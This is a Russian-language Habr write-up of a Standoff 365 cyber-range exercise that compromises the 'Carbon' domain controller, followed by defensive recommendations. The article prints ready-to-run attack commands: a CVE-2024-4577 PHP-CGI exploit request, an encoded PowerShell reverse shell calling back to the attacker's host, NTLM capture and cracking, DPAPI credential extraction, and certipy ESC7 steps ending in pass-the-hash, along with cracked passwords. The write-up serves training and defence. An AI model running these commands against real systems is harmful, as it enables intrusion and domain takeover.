
Привет, Хабр!
Меня зовут Евгений Кабаргин (aka kiberjen). Я капитан KiberS, команды энтузиастов и профессионалов в области кибербезопасности. Любим наступательные техники и постоянно развиваемся в этом направлении, специализируемся на веб-пентесте, тестировании инфраструктуры и Red Team.
В этой статье я разберу, как в рамках задания на платформе Standoff 365 был скомпрометирован контроллер домена компании Carbon.
По легенде, инцидент обнаружила служба информационной безопасности во время планового аудита: специалисты выявили подозрительную активность в сети. Выяснилось, что нарушители получили доступ к контроллеру домена Carbon. Компания вернула контроль над инфраструктурой и сосредоточилась на устранении последствий, но информация об атаке уже просочилась в сеть. Клиенты Carbon в шоке...

Что за компания
Carbon — ИТ-компания во вселенной Государства F, которая обеспечивает ИТ-инфраструктуру организаций Государства F на основе собственных высокотехнологичных решений. Специалисты компании на связи с клиентами 24/7, 365 дней в году.
Хост: carbon.standalone.stf (10.124.249.4).
Этот кейс представляет учебный интерес с точки зрения того, что была проведена многоуровневая атака: точка входа через уязвимость CVE-2024-4577 в PHP CGI, последовательная эскалация привилегий и финальная компрометация домена через некорректно настроенную инфраструктуру сертификатов (AD CS, ESC7).
Материал будет полезен специалистам по наступательной безопасности и участникам CTF-соревнований. В нем показана реальная цепочка атаки (от разведки до получения административного доступа к домену), а также приведены рекомендации для защиты.
Статья носит исключительно информационный характер и не является инструкцией или призывом к совершению противоправных действий. Наша цель — рассказать о существующих уязвимостях, которыми могут воспользоваться злоумышленники, и дать рекомендации по защите. Авторы не несут ответственности за использование кем-то информации из статьи.
⛓️ Cyber kill chain
Компрометация складывается из нескольких слабых мест на разных уровнях инфраструктуры.
Снаружи все начинается с небрежно опубликованного XAMPP. Дальше цепочка ведет к получению интерактивного доступа, затем учетных данных, потом к разведке внутри домена, а в итоге упирается в доверенную PKI-среду, которая и становится главным трамплином для установки полного контроля.
Reconnaissance (Разведка)
На этапе разведки узел сразу выделяется из-за набора ролей. Перед нами не просто Windows-сервер, а узел доменной инфраструктуры с Kerberos, LDAP, SMB, WinRM и RDP. При этом на порте TCP 8888 наружу открыт XAMPP — это мгновенно сужает круг гипотез и делает веб-компонент приоритетной точкой входа.
Weaponization (Подготовка полезной нагрузки)
Дальше подготавливается полезная нагрузка, которая использует особенности обработки аргументов в PHP CGI. Цель не в эксплойте ради эксплойта, а в том, чтобы превратить легитимный PHP-скрипт в точку выполнения произвольного кода за счет подмены runtime-параметров.
Delivery (Доставка)
Подготовленный POST-запрос отправляется прямо в уязвимый веб-компонент. На этом этапе еще нет полноценного контроля над системой, но уже появляется возможность заставить сервер выполнить содержимое из тела запроса.
Exploitation (Эксплуатация)
Как только инъекция CGI-аргументов отрабатывает, сервер выполняет внедренный PHP-код. Это и есть ключевой переломный момент: внешняя поверхность атаки превращается в реальное удаленное выполнение команд на целевом узле.
Installation, foothold (Закрепление)
Убедившись, что выполнение команд действительно возможно, атакующий закрепляется через более удобный интерактивный доступ. Разовый запуск команды перестает быть ограничением — появляется полноценная рабочая сессия, достаточная для исследования системы и перехода к следующим этапам.
Command and control (Управление и контроль)
Интерактивный доступ позволяет управлять узлом уже не точечно, а последовательно: исследовать файловую систему, вызывать сетевую активность, инициировать аутентификационные события и собирать артефакты, которые дальше раскручивают всю цепочку.
Actions on objectives (Действия по достижению целей)
На этой стадии компрометация перестает быть локальной. В ход идут найденные учетные данные, разведка внутри домена, анализ AD CS и злоупотребление доверенной инфраструктурой сертификатов. Финал закономерен: высокий привилегированный контекст и получение целевых флагов.
? MITRE ATT&CK
Если смотреть на Carbon сквозь призму MITRE ATT&CK, то это не история про одну технику, а про хорошо сцепленную последовательность тактик. Сначала используется внешний вектор доступа, затем на узле запускается код, после чего атака смещается в сторону учетных данных, внутреннего исследования доменной среды и повышения привилегий через слабую конфигурацию доверенных сервисов.
Тактика |
Как это выглядит в кейсе Carbon |
Первоначальный доступ (Initial Access) |
Внешне доступный веб-компонент становится первой точкой входа в инфраструктуру |
Выполнение (Execution) |
На целевом Windows-узле достигается выполнение кода через уязвимый PHP CGI |
Доступ к учетным данныс (Credential Access) |
После закрепления атакующий получает и разбирает учетные данные и аутентификационные артефакты |
Разведка (Discovery) |
Начинается исследование сервисов узла, структуры домена и конфигурации инфраструктуры сертификатов |
Боковое перемещение (Lateral Movement) |
Переход от локального доступа к доменной учетной записи расширяет радиус контроля |
Повышение привилегий (Privilege Escalation) |
Более высокий контекст достигается за счет слабой конфигурации AD CS |
Обход защиты (Defense Evasion) |
Критически опасные действия выполняются через доверенные административные механизмы и легитимные сервисы среды |
Управление и контроль (Command and Control) |
Интерактивная сессия позволяет последовательно управлять системой и развивать атаку |
Воздействие, достижение целей (Impact, Objective Completion) |
Финальная цель достигается после получения прав администратора и сдачи флагов |
На первом этапе задача сводится к тому, чтобы понять роль узла в инфраструктуре и выделить наиболее перспективную точку входа. По результатам сканирования с помощью nmap видно, что перед нами не просто Windows-сервер, а узел, тесно связанный с доменной средой. Здесь есть Kerberos, LDAP, SMB, RDP и WinRM. Одновременно с этим на порте TCP 8888 наружу открыт веб-сервис — он и будет проверяться в первую очередь.
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH for_Windows_8.1 (protocol 2.0) | ssh-hostkey: | 3072 92:ea:2c:d8:58:a4:9a:d0:ce:cc:b6:38:64:fd:7b:81 (RSA) | 256 8c:ac:63:b9:69:e8:c9:cb:12:3f:f2:b7:7e:a0:55:b4 (ECDSA) |_ 256 90:d3:44:07:68:96:9c:44:92:26:9b:52:d1:fe:fd:89 (ED25519) 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-02-16 22:51:21Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: standoff.stf, Site: Default-First-Site-Name) |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=carbon.standoff.stf | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:carbon.standoff.stf | Issuer: commonName=standoff-CARBON-CA-2 | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2026-02-02T11:02:54 | Not valid after: 2027-02-02T11:02:54 | MD5: db97 bad9 c379 0d35 9350 69da ad16 50c2 | SHA-1: 23e2 d6ff 0e57 a158 b31c 8d07 ca48 95d4 7c33 1960 |_SHA-256: eec0 e447 713f 0230 be03 94ed 4fc2 60f5 e09f f3ad 2ad1 7eea 4792 3b2e e22e e0de 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: standoff.stf, Site: Default-First-Site-Name) |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=carbon.standoff.stf | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:carbon.standoff.stf | Issuer: commonName=standoff-CARBON-CA-2 | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2026-02-02T11:02:54 | Not valid after: 2027-02-02T11:02:54 | MD5: db97 bad9 c379 0d35 9350 69da ad16 50c2 | SHA-1: 23e2 d6ff 0e57 a158 b31c 8d07 ca48 95d4 7c33 1960 |_SHA-256: eec0 e447 713f 0230 be03 94ed 4fc2 60f5 e09f f3ad 2ad1 7eea 4792 3b2e e22e e0de 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: standoff.stf, Site: Default-First-Site-Name) |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=carbon.standoff.stf | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:carbon.standoff.stf | Issuer: commonName=standoff-CARBON-CA-2 | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2026-02-02T11:02:54 | Not valid after: 2027-02-02T11:02:54 | MD5: db97 bad9 c379 0d35 9350 69da ad16 50c2 | SHA-1: 23e2 d6ff 0e57 a158 b31c 8d07 ca48 95d4 7c33 1960 |_SHA-256: eec0 e447 713f 0230 be03 94ed 4fc2 60f5 e09f f3ad 2ad1 7eea 4792 3b2e e22e e0de 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: standoff.stf, Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=carbon.standoff.stf | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:carbon.standoff.stf | Issuer: commonName=standoff-CARBON-CA-2 | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2026-02-02T11:02:54 | Not valid after: 2027-02-02T11:02:54 | MD5: db97 bad9 c379 0d35 9350 69da ad16 50c2 | SHA-1: 23e2 d6ff 0e57 a158 b31c 8d07 ca48 95d4 7c33 1960 |_SHA-256: eec0 e447 713f 0230 be03 94ed 4fc2 60f5 e09f f3ad 2ad1 7eea 4792 3b2e e22e e0de |_ssl-date: TLS randomness does not represent time 3389/tcp open ms-wbt-server Microsoft Terminal Services | ssl-cert: Subject: commonName=carbon.standoff.stf | Issuer: commonName=carbon.standoff.stf | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2026-02-01T06:59:04 | Not valid after: 2026-08-03T06:59:04 | MD5: fbeb 74bf 8916 8efd 4b8b ffad a865 86ec | SHA-1: aac9 e9f3 4ce0 aad3 cfe9 84cf b2ac 9314 2b47 79ab |_SHA-256: 7399 9e8d 4666 c9a0 87f6 78de 19d9 9b81 7f7f 876e 1c8c ba0c 1723 ffdd 7fa7 3330 | rdp-ntlm-info: | Target_Name: STANDOFF | NetBIOS_Domain_Name: STANDOFF | NetBIOS_Computer_Name: CARBON | DNS_Domain_Name: standoff.stf | DNS_Computer_Name: carbon.standoff.stf | DNS_Tree_Name: standoff.stf | Product_Version: 10.0.20348 |_ System_Time: 2026-02-16T22:52:12+00:00 |_ssl-date: 2026-02-16T22:52:20+00:00; -2s from scanner time. 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 8888/tcp open http Apache httpd 2.4.58 ((Win64) OpenSSL/3.1.3) |_http-favicon: Unknown favicon MD5: 6EB4A43CB64C97F76562AF703893C8FD |_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS | http-title: Welcome to XAMPP |_Requested resource was <http://carbon.standalone.stf:8888/dashboard/>
Входная точка: XAMPP и CVE-2024-4577
Сервис на порте TCP 8888 сразу выделяется на фоне остальной поверхности атаки. На узле, тесно связанном с доменной инфраструктурой, опубликован XAMPP со стеком PHP CGI, что делает CVE-2024-4577 наиболее вероятным кандидатом на роль входного вектора. Именно сочетание внешне доступного XAMPP и уязвимого CGI-механизма превращает веб-компонент в точку удаленного выполнения кода.

CVE-2024-4577 — уязвимость, связанная с внедрением аргументов в PHP CGI на Windows. Эксплуатируя её, злоумышленник может передать дополнительные параметры интерпретатору PHP через URL, обходя механизмы защиты. В сочетании с параметром auto_prepend_file=php://input это превращается в полноценную RCE-уязвимость.
Proof of concept: проверка выполнения команды
curl -s -k -X POST \\ -H "Host: carbon.standalone.stf:8888" \\ -H "Content-Type: application/x-www-form-urlencoded" \\ --data-binary "<?php system('type C:\\\\rce.flag 2>&1');?>" \\ "<http://carbon.standalone.stf:8888/dashboard/phpinfo.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input>"
Успешный ответ подтверждает выполнение произвольного кода от имени процесса Apache.

Получение reverse shell
После того как подтвердилась возможность выполнять команды, необходимо перейти к интерактивному доступу. Для этого отправляем PowerShell payload через тот же вектор:
curl -s -k -X POST \\ -H "Host: carbon.standalone.stf:8888" \\ -H "Content-Type: application/x-www-form-urlencoded" \\ --data-binary "<?php system('powershell -NoP -NonI -W Hidden -Exec Bypass -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAyADcALgAyADQANgAuADEAOAAyACIALAAxADMAMwA3ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA== 2>&1');?>" \\ "<http://carbon.standalone.stf:8888/dashboard/phpinfo.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input>"
Payload устанавливает TCP-соединение с сервером атакующего. Дальше полноценная PowerShell-сессия на целевом узле.

Инициирование outbound-аутентификации и сбор учетных данных
Оболочка есть, следующий шаг получение учетных данные для перемещения в домен. Используется связка инструментов: провокация NTLM-аутентификации и перехват хеша.

Сбор учетных данных
После получения интерактивного доступа задача меняется: теперь уже важно не только выполнять команды на узле, но и находить материалы, которые помогут расширить радиус компрометации. На этом этапе в ход идут сетевые аутентификационные артефакты и локально доступные секреты.
На машине атакующего:
sudo responder -I tun0
На захваченном узле инициируется обращение к пути атакующего, что вызывает NTLM-аутентификацию. Responder перехватывает NTLMv2-хеш пользователя httpd.

Взлом хеша:
john --w='/usr/share/wordlists/rockyou.txt' hash

Результат:
httpd : RMysterio1
Проверка учетных данных в домене:
nxc smb 10.124.249.4 -u users -p 'RMysterio1’

Получение интерактивного SSH-доступа
После подтверждения валидности учетных данных переходим к стабильной интерактивной сессии:
ssh marat.kiselev@10.124.249.4

Доступ по SSH стабильнее, чем reverse shell, и упрощает последующие операции на узле.
Поиск артефактов и извлечение PSCredential
В пользовательской папке обнаруживается файл creds_for_scripts.xml в формате PowerShell CLIXML. Это зашифрованный через Windows DPAPI объект PSCredential. Поскольку расшифровка DPAPI привязана к контексту пользователя, выполняем ее прямо на атакуемом сервере.

<Objs Version="1.1.0.1" xmlns="<http://schemas.microsoft.com/powershell/2004/04>"> <Obj RefId="0"> <TN RefId="0"> <T>System.Management.Automation.PSCredential</T> <T>System.Object</T> </TN> <ToString>System.Management.Automation.PSCredential</ToString> <Props> <S N="UserName">emma.shutova@standoff.stf</S> <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb01000000fd44c554a2d9fb4e8bcea694b5d37c8c0000000002000000000003660000c000000010000000acba5344f69597c849ec2ebd18d798850000000004800000a0000000100000009012e98870c4258b95cbfd7eb33e57893000000078f99006e86c8cb47cc2ff896457e6ddbdc5301705754a4edcb59c11c1e97609ee0f1214268579bf3d26f9bc157d53a5140000004163fe59cacc857e14bdd755d46a715f272d3485</SS> </Props> </Obj> </Objs>
Расшифровку выполнили в пользовательском контексте на целевом хосте:
$Credential = Import-Clixml -Path "creds_for_scripts.xml" [PSCustomObject]@{ UserName = $credential.GetNetworkCredential().username Password = $credential.GetNetworkCredential().password }

Результат:
emma.shutova@standoff.stf : 89-news-MOSCOW-wire-13
Разведка в домене и обнаружение AD CS
С учетными данными пользователя emma.shutova запускаем полный сбор данных о домене:
bloodhound-ce-python -u emma.shutova -p '89-news-MOSCOW-wire-13' -ns 10.124.249.4 -d standoff.stf -c all --zip

Обнаружение центров сертификации:
nxc ldap 10.124.249.4 -u emma.shutova -p '89-news-MOSCOW-wire-13' -M adcs

Поиск уязвимых шаблонов сертификатов:
certipy-ad find -u emma.shutova -p '89-news-MOSCOW-wire-13' -target 10.124.249.4 -text -stdout -vulnerable

Certipy выявляет уязвимость ESC7: у учетной записи emma.shutova есть права ManageCA в центре сертификации standoff-CARBON-CA-2. Это позволяет злоупотребить механизмом выдачи сертификатов.
Эксплуатация AD CS (ESC7)
ESC7 — мисконфигурация Active Directory Certificate Services, при которой обычный доменный пользователь имеет права ManageCA или ManageCertificates в центре сертификации. Атакующий может назначить себя офицером CA, включить уязвимый шаблон SubCA и от его имени выпустить сертификат на любого пользователя домена, включая Administrator. Полученный сертификат используется для PKINIT-аутентификации и извлечения NT-хеша целевой учетной записи — без каких-либо изменений в AD и без стандартных признаков компрометации учетных данных.
ESC7 эксплуатируется в четыре шага:
Шаг 1. Назначаем emma.shutova роль офицера CA:
certipy-ad ca -ca 'standoff-CARBON-CA-2' -u emma.shutova -p '89-news-MOSCOW-wire-13' -add-officer emma.shutova -dc-ip 10.124.249.4

Шаг 2. Включаем шаблон SubCA:
certipy-ad ca -ca 'standoff-CARBON-CA-2' -u emma.shutova -p '89-news-MOSCOW-wire-13' -enable-template 'SubCA' -dc-ip 10.124.249.4

Шаг 3. Запрашиваем сертификат от имени Administrator:
certipy-ad req -ca 'standoff-CARBON-CA-2' -u emma.shutova -p '89-news-MOSCOW-wire-13' -template SubCA -dc-ip 10.124.249.4 -upn Administrator
Шаг 4. Утверждаем запрос и получаем сертификат:
certipy-ad ca -ca 'standoff-CARBON-CA-2' -u emma.shutova -p '89-news-MOSCOW-wire-13' -issue-request 61 -dc-ip 10.124.249.4

Получение хеша администратора и финального доступа
Используем полученный сертификат для аутентификации через PKINIT:
certipy-ad auth -pfx administrator.pfx -domain standoff.stf -dc-ip 10.124.249.4

Certipy извлекает NT-хеш учетной записи Administrator. Используем его для получения shell:
python3 psexecsvc.py -hashes :2025795511c87497c788b762fe6321ac Administrator@10.124.249.4

Получен системный доступ. Флаги LPE и критического события захвачены.

Получение флага критического события


?️ Рекомендации по защите
Каждый этап описанной выше атаки на компанию Carbon соответствует конкретной ошибке в конфигурации. Ниже — адресные меры для устранения каждой из них.
1. Уязвимый PHP CGI (CVE-2024-4577)
Обновить PHP до версии 8.1.29, 8.2.20, 8.3.8 и выше — уязвимость устранена в этих релизах. Отказаться от режима CGI в пользу PHP-FPM или mod_php. Не публиковать отладочные стенды (XAMPP) на продуктивных серверах, особенно на контроллерах домена. Ограничить доступ к веб-сервису на сетевом уровне через файрвол и сегментацию.
2. Перехват NTLM (Responder)
Отключить LLMNR и NetBIOS-NS в групповой политике. Включить SMB-подписи (SMB signing) для предотвращения relay-атак. Использовать Extended Protection for Authentication (EPA). Рассмотреть переход на Kerberos-only-аутентификацию там, где это возможно.
3. Хранение учетных данных в файлах
Не хранить учетные данные в CLIXML-файлах или иных форматах на диске. Использовать secret-management-решения: HashiCorp Vault, Azure Key Vault, Windows Credential Manager с надлежащим ACL. Проводить регулярный аудит файловой системы на наличие артефактов с учетными данными (*.xml, .cred, .config).
4. Некорректная конфигурация AD CS (ESC7)
Регулярно проверять конфигурацию AD CS инструментами Certipy или PSPKIAudit. Ограничить права ManageCA и ManageCertificates, выдав их только администраторам. Не оставлять включенными шаблоны субординированного CA (SubCA) без явной необходимости. Настроить оповещения о событиях в центре сертификации (добавление офицеров, включение шаблонов, ручное подтверждение запросов).
5. Общие меры
Применять принцип наименьших привилегий: сервисные учетные записи не должны иметь избыточные права в домене. Внедрить мониторинг на основе матрицы MITRE ATT&CK: аномальные Kerberos-запросы, запросы сертификатов от нестандартных учетных записей, PowerShell с EncodedCommand. Контроллеры домена не должны быть точкой входа для веб-сервисов — изолируйте их роли.
Вывод
Случай со взломом компании Carbon на киберполигоне — демонстрация классической многоуровневой атаки, в которой ни одна из уязвимостей по отдельности не выглядит критически опасной, но их комбинация ведет к полной компрометации домена. Веб-разработчик, оставивший XAMPP с устаревшим PHP, администратор, создавший файл с паролем, и инженер PKI, не проверивший права в CA, — все трое внесли свой вклад в итоговый результат.
Для защитника главный урок: поверхность атаки нужно рассматривать целостно, а не только в разрезе отдельных CVE-уязвимостей.